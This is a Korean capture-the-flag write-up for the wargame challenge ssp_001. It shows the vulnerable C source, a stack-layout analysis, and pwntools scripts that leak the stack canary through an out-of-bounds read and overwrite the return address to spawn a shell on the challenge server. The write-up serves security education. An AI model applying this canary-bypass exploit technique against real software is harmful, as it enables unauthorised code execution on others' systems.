ssp_001(Stack Canary)
ssp_001(Stack Canary)
문제 정보
이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
Environment
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
풀이
먼저 Environment에서 환경 정보를 확인해보면 i386인 32비트 리틀 엔디언 방식을 사용했고 어떤 보호 기법이 적용되어 있는지 보면 PIE가 비활성화 되어 있는 것을 볼 수 있고 실행 파일이 항상 같은 위치에서 로드된다고 볼 수 있다. 또한 0x804800은 이 프로그램이 메모리 상에서 로드되는 주소를 나타낸다.
문제 파일인 ssp_001과 ssp_001.c 파일을 다운받은 후 checksec을 이용하여서 PIE가 진짜 비활성화 되어 있는지 확인했다.
ssp_001.c 파일의 코드는 다음과 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
소스 코드를 분석해보면 alram_handler() 함수와 initialize() 함수를 정의하고 메인 함수에서 실행시켜 30초가 지나면 실행이 끝나도록 되어있다. 다음은 get_shell()함수가 있기 때문에 반환 주소를 이 함수의 주소로 옮겨서 쉘을 실행 시킬 수 있다.
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
다음으로 print_box 함수는 *box와 idx를 인자로 설정하여 idx의 주소를 16진수로 변환해 출력하도록 되어있다. menu 함수에서는 메뉴를 표시하기 위해서 다음과 같이 되어있다.
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
메인 함수에서는 box와 name을 0x40만큼의 크기로 설정하고 select는 2만큼 idx와 name_len 변수는 0으로 초기화하였다. initialize()함수를 실행해 30초만큼 실행 시간을 설정하고 while(1)인 계속 참인 반복문을 이용해 메뉴를 표시한다.
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
여기서 취약점을 분석해보면 P에서 scanf 함수의 사용으로 box 외의 값도 읽을 수 있다. 또한 E에서 이름의 크기를 scanf 함수를 사용해 입력받으므로 스택 버퍼 오버플로우가 발생한다.
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
다음으로 disassemble main 명령을 이용해 main 함수를 분석하고 스택의 구조를 파악해보았다. 처음 read함수가 있는 부분을 찾아 select의 위치를 확인해 본 결과 ebp-0x8a인 것을 확인할 수 있다.
read 함수의 두 번째 부분을 찾아 F 부분에서는 ebp-0x88 이 box의 위치인 것을 알 수 있다.
P 부분에서는 idx의 위치가 ebp-0x94인 것을 확인할 수 있다.
E 부분에서는 name_len의 위치는 ebp-0x90, name의 위치는 ebp-0x48인 것을 확인할 수 있다.
ebp-0x8의 값과 gs:0x14의 값이 같지 않을 경우 __stack_chk_fail을 호출하는 것으로 보아 ebp-0x8의 위치에 카나리가 있는 것을 유추할 수 있고 ebp와 카나리 사이에 4바이트의 dummy 값이 존재하는 것을 알 수 있다.
분석한 내용으로 스택의 구조를 그려보면 다음과 같다.
ssp_001 파일을 실행하고 P를 입력하면 box에 있는 버퍼의 값에 입력되고 스택 버퍼 오버플로우를 발생시키면 카나리 값을 릭할 수 있다. 16진수인 40을 10진수로 바꾸면 64이기 때문에 128부터 128, 129, 130, 131을 P 부분에서 입력하면 카나리 값을 얻을 수 있다. 따라서 다음과 같이 결과가 나오는데 이 값은 리틀 엔디언 방식이므로 다시 변환해주면 0xa7c9b200임을 알 수 있다.
카나리 값은 실행할 때마다 계속해서 바뀌기 때문에 카나리 값을 얻는 익스플로잇을 pwntools를 이용해 작성해야 한다. 따라서 다음과 같이 작성할 수 있다.
from pwn import * #pwntools import
p = process("./ssp_001") #process를 이용해 파일 설정
canary = b"0x" #카나리 선언
p.recvuntil("> ") #> 까지 문자열 읽어오기
def canary_leak(num): #인자가 num인 carry_leak 함수 선언
p.sendline(b"P") #P를 보내고 \\n까지 하기 위해 sendline 사용
p.recvuntil(": ") #: 까지 문자열 읽어오기
p.sendline(str(num)) #인자인num을 보내고 \\n 까지 하기 위해 sendline 사용
p.recvuntil("is : ") #is : 까지 문자열 읽어오기
return p.recv()[:2] #[:2]를 이용해 첫 두 개의 문자만 반환
canary += canary_leak(131) #리틀 엔디언 방식이기 때문에 131부터 역순으로 집어넣어줌
canary += canary_leak(130) # ''
canary += canary_leak(129) # ''
canary += canary_leak(128) # ''
canary = int(canary, 16) #카나리 값을 int함수를 이용해 16진수로 변환
print("Canary : "+hex(canary)) #카나리 값을 0x~~~로 출력하기 위해 hex함수 사용
실행 시켜보면 다음과 같이 카나리 값이 잘 출력되는 것을 확인할 수 있다.
get_shell()의 주소는 다음과 같다. PIE의 보호 기법이 설정되지 않았기 때문에 다음과 같이 고정된 주소를 사용할 수 있는 것이다.
이제 카나리 값을 얻었기 때문에 E를 입력하는 부분에 name의 크기를 nop * 64 + canary + nop * 4 + nop * 4 + get_shell() address 값의 length만큼 설정해주면 된다. 익스플로잇을 작성하면 다음과 같다.
from pwn import *
p = remote("host3.dreamhack.games", 11812) #서버로 전송해야 하기 때문에 remote로 변경
canary = b"0x"
p.recvuntil("> ")
def canary_leak(num):
p.sendline(b"P")
p.recvuntil(": ")
p.sendline(str(num))
p.recvuntil("is : ")
return p.recv()[:2]
canary += canary_leak(131)
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)
canary = int(canary, 16)
print("Canary : "+hex(canary))
payload = b"\\x90" *64 #64만큼 크기의 name에 들어갈 nop 생성
payload += p32(canary) #canary값 p32로 패킹 후 payload 추가
payload += b"\\x90" *8 #dummy와 ebp만큼의 nop 생성
payload += b"\\xb9\\x86\\x04\\x08" #전에 구했던 get_shell() 주소 직접해 반환값 변경
p.sendline("E") #서버에 E\\n 전송
p.recvuntil("Size : ") #Size : 까지 데이터 받아오기
p.sendline(str(len(payload))) #len함수를 이용해 payload만큼의 크기 + \\n 전송
p.recvuntil("Name : ") #Name : 까지 데이터 받아오기
p.sendline(payload) #payload + \\n 전송
p.interactive() #쉘 실행
작성한 파일을 실행한 결과 다음과 같이 flag 값이 출력된 것을 확인할 수 있다.